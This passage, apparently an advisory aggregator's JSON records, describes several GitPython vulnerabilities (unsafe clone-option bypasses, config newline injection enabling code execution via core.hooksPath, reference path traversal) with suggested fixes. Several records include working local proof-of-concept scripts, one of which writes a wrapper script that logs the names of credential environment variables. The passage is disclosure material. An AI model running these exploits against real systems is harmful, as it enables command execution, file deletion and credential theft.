allowlist.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:43:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx","https://github.com/gitpython-developers/GitPython/pull/2161","https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51","https://nvd.nist.gov/vuln/detail/CVE-2026-67325","https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation","https://github.com/advisories/GHSA-2f96-g7mh-g2hx"],"source_kind":"github","identifiers":["GHSA-2f96-g7mh-g2hx","CVE-2026-67325"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.145Z","updated_at":"2026-10-02T15:01:49.787Z","epss_percentage":0.02209,"epss_percentile":0.8183,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yZjk2LWc3bWgtZzJoeM4ABfJY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yZjk2LWc3bWgtZzJoeM4ABfJY","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.51","vulnerable_version_range":"\u003c= 3.1.50"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yZjk2LWc3bWgtZzJoeM4ABfJY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Mzk2LXY3cTQteDJxas4ABfJX","url":"https://github.com/advisories/GHSA-v396-v7q4-x2qj","title":"GitPython unsafe clone option gate bypass through joined short options","description":"`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`.\n\nGit itself accepts `-u\u003cupload-pack\u003e` as the short form of `--upload-pack=\u003cupload-pack\u003e`. As a result, `Repo.clone_from(..., multi_options=[\"-u\u003chelper\u003e\"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked.\n\nAffected package:\n\n- Ecosystem: PyPI\n- Package: `GitPython`\n- Confirmed affected version: `3.1.50`\n- Repository: `gitpython-developers/GitPython`\n- Current PyPI version during triage: `3.1.50`\n\nRelevant behavior:\n\n- `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options.\n- `Repo._clone()` splits `multi_options` with `shlex.split(\" \".join(multi_options))` and then calls `Git.check_unsafe_options(...)`.\n- `_canonicalize_option_name(\"-u/path/to/helper\")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry.\n- Git accepts the same joined short option as `--upload-pack=\u003chelper\u003e` and executes the helper during clone.\n\nPreconditions:\n\nAn application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options.\n\nThe local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.\n\nLocal reproduction:\n\nThe PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=\u003chelper\u003e` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=[\"-u\u003chelper\u003e\"], allow_unsafe_options=False)`.\n\nObserved sanitized output:\n\n```text\ngitpython_version=3.1.50\ngit_version=git version 2.53.0.windows.1\ntmp_dir=\u003ctmp\u003e\nlong_upload_pack_gate=BLOCKED:UnsafeOptionError\njoined_short_upload_pack_gate=ALLOWED\nclone_result=EXPECTED_EXCEPTION:GitCommandError\nsentinel_exists=True\nsentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS\n```\n\nThe clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`.\n\nImpact:\n\nAn attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.\n\nDuplicate / related advisory checks:\n\n- OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities.\n- The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50.\n- `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u\u003cvalue\u003e` still bypasses because the validator canonicalizes it to `u\u003cvalue\u003e` rather than `u`.\n- `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=[\"-u\u003chelper\u003e\"]` against 3.1.50 and does not depend on underscored kwargs.\n- GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.\n- GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u\u003cvalue\u003e` is treated as option name `u\u003cvalue\u003e`, not blocked short option `u`.\n- GitHub issue searches for `u\u003cupload-pack\u003e unsafe` and `-cfoo` returned no results.\n\nSuggested remediation:\n\nWhen checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set.\n\nA safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=\u003cvalue\u003e` / `--option \u003cvalue\u003e` forms.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:43:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v396-v7q4-x2qj","https://github.com/gitpython-developers/GitPython/pull/2162","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51","https://github.com/advisories/GHSA-v396-v7q4-x2qj"],"source_kind":"github","identifiers":["GHSA-v396-v7q4-x2qj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.145Z","updated_at":"2026-10-02T15:01:49.787Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Mzk2LXY3cTQteDJxas4ABfJX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Mzk2LXY3cTQteDJxas4ABfJX","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.51","vulnerable_version_range":"= 3.1.50"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Mzk2LXY3cTQteDJxas4ABfJX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu","url":"https://github.com/advisories/GHSA-mv93-w799-cj2w","title":"GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath","description":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-08T23:19:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w","https://github.com/advisories/GHSA-rpm5-65cw-6hj4","https://github.com/advisories/GHSA-mv93-w799-cj2w"],"source_kind":"github","identifiers":["GHSA-mv93-w799-cj2w"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-09T00:00:08.599Z","updated_at":"2026-10-02T15:03:34.813Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.50","vulnerable_version_range":"\u003c= 3.1.49"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdjkzLXc3OTktY2oyd84ABWgu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV","url":"https://github.com/advisories/GHSA-v87r-6q3f-2j67","title":"GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath","description":"`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())  # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid \u003e /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())  # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T21:58:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67","https://nvd.nist.gov/vuln/detail/CVE-2026-44244","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49","https://github.com/advisories/GHSA-v87r-6q3f-2j67"],"source_kind":"github","identifiers":["GHSA-v87r-6q3f-2j67","CVE-2026-44244"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T22:00:07.920Z","updated_at":"2026-10-02T15:03:43.179Z","epss_percentage":0.00218,"epss_percentile":0.10847,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.49","vulnerable_version_range":"\u003c= 3.1.48"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ODdyLTZxM2YtMmo2N84ABWWV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM","url":"https://github.com/advisories/GHSA-7545-fcxq-7j24","title":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","description":"## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `\u003c= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\u003ccurrent HEAD commit SHA\u003e\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-06T19:38:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24","https://nvd.nist.gov/vuln/detail/CVE-2026-44243","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48","https://github.com/advisories/GHSA-7545-fcxq-7j24"],"source_kind":"github","identifiers":["GHSA-7545-fcxq-7j24","CVE-2026-44243"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-06T20:00:08.694Z","updated_at":"2026-10-08T01:03:21.908Z","epss_percentage":0.00443,"epss_percentile":0.36509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.48","vulnerable_version_range":"\u003c= 3.1.47"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTQ1LWZjeHEtN2oyNM4ABWTM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycG01LTY1Y3ctNmhqNM4ABVyD","url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4","title":"GitPython has Command Injection via Git options bypass","description":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '\u003c%s\u003e' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=\u003credacted\u003e/' || true\n}} \u003e '{proof}'\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n    [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\": wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n    print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin  \u003credacted\u003e Darwin Kernel Version  \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for 